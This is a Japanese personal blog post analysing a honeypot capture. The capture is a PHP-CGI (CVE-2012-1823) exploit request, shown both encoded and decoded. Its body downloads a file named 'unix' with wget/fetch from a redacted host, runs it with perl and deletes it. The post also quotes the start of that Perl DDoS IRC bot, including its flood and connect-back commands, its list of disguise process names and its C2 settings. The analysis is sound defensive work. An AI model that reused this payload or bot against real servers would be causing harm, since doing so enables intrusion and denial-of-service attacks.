とりあえずブログ

普通のサラリーマンの雑多なブログ

CGI版PHPの脆弱性を狙ってDDoS攻撃のスクリプトを配置するアクセスをキャッチ

久しぶりに僕のハニーポットを見てみたら、面白いアクセスログがあったので紹介します。

そのアクセスはこちらにになります。

POST //cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Content-Length: 176
Content-Type: application/x-www-form-urlencoded
Host: -c

<? system("cd /tmp ; wget http://XXXXXX/unix ;  ; fetch http://XXXXXX/unix ;  ; perl unix ; rm -rf unix "); ?>

POSTリクエストの箇所がURLエンコードされているし、BODY部分を見てみると、思いっきりコマンドでunixファイルをダウンロードして、実行した後、削除しています。 怪しすぎます。。。

まずはURLエンコードされている箇所をデコードしてみます。

すると、こんな感じになります。

php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n

これはPHP脆弱性(CVE-2012-1823)を狙った攻撃であることがわかります。

こちらの記事が詳しいので、詳細はこちらでご確認ください。 blog.tokumaru.org

次に怪しげなunixというファイルを確認してみます。 非常に長いので、冒頭の部分のみ紹介しておきます。

#!/usr/bin/perl
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
#use strict;
use warnings;
 
######################################################################################################################
######################################################################################################################
##  DDoS Perl IrcBot v1.0 / 2016 modded by  phl4nk         ## [ Help ] #########################################
##      Stealth MultiFunctional IrcBot writen in Perl          #######################################################
##        Teste on every system with PERL instlled             ##  !u @system                                       ##
##                                                             ##  !u @version                                      ##
##     This is a free program used on your own risk.           ##  !u @channel                                      ##
##        Created for educational purpose only.                ##  !u @flood                                        ##
## I'm not responsible for the illegal use of this program.    ##  !u @utils                                        ##
######################################################################################################################
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################
######################################################################################################################
##  !u @join <#channel>            ##  !u @udp1 <ip> <port> <time>              ##  !u @cback <ip> <port>             ##
##  !u @part <#channel>          ##  !u @udp2 <ip> <packet size> <time>       ##  !u @downlod <url+path> <file>     ##
##  !u !uejoin <#channel>        ##  !u @udp3 <ip> <port> <time>              ##  !u @portscan <ip>                 ##
##  !u !op <channel> <nick>      ##  !u @tcp <ip> <port> <packet size> <time> ##  !u @mail <subject> <sender>       ##
##  !u !deop <channel> <nick>    ##  !u @http <site> <time>                   ##           <recipient> <message>    ##
##  !u !voice <channel> <nick>   ##                                           ##  !u pwd;uname -a;id <for example>  ##
##  !u !devoice <channel> <nick> ##  !u @ctcpflood <nick>                     ##  !u @port <ip> <port>              ##
##  !u !nick <newnick>           ##  !u @msgflood <nick>                      ##  !u @dns <ip/host>                 ##
##  !u !msg <nick>               ##  !u @noticeflood <nick>                   ##                                    ##
##  !u !quit                     ##                                           ##                                    ##
##  !u !uaw                      ##                                           ##                                    ##
##  !u @die                      ##                                           ##                                    ##
##                               ##                                           ##                                    ##
######################################################################################################################
######################################################################################################################
 
#############################
##### [ Configuration ] #####
#############################
my @rps = ("/usr/local/apache/bin/httpd",
           "/usr/sbin/httpd -k start",
           "/usr/sbin/httpd",
           "/usr/sbin/sshd -i",
           "/usr/sbin/sshd",
           "/usr/sbin/sshd -D",
           "/usr/sbin/apache2 -k start",
           "/sbin/syslogd",
           "/sbin/klogd -c 1 -x -x",
           "/usr/sbin/acpid",
           "/usr/sbin/cron");

my $process = $rps[rand scalar @rps];
my @rversion = ("Phl4nk");
my $vers = $rversion[rand scalar @rversion];
my @rircname = ("zombie");
my $ircname = $rircname[rand scalar @rircname];
chop (my $realname = $rircname[rand scalar @rircname]);
my $nick =$rircname[rand scalar @rircname];
my $server = 'XXXXXX';
my $port = '6667';
my $linas_max='1';
my $sleep='5';
my $homedir = "/tmp";
my $version = 'v.02';
my @admins = ("local");
#my @hostauth = ("local");
my @channels = ("#dedibox");
my $pacotes = 1;

シェバンを確認すると、#!/usr/bin/perlとなっているので、perlスクリプトであることがわかります。 コメントを見ると、

This is a free program used on your own risk.
Created for educational purpose only.
I'm not responsible for the illegal use of this program.

これはあなたの責任においてフリーなプログラムです。 教育目的のためだけに作られました。 このプログラムの不法な使用に関して責任を負いません。

と記載があります。

また、

DDoS Perl IrcBot v1.0 / 2016

と記載されていることからDDoS用のスクリプトであることがわかります。

スクリプトを深く読み込んではいませんが、これを実行することで、どこかのサーバと通信を行い、なんらかの操作が実行されるようになるようです。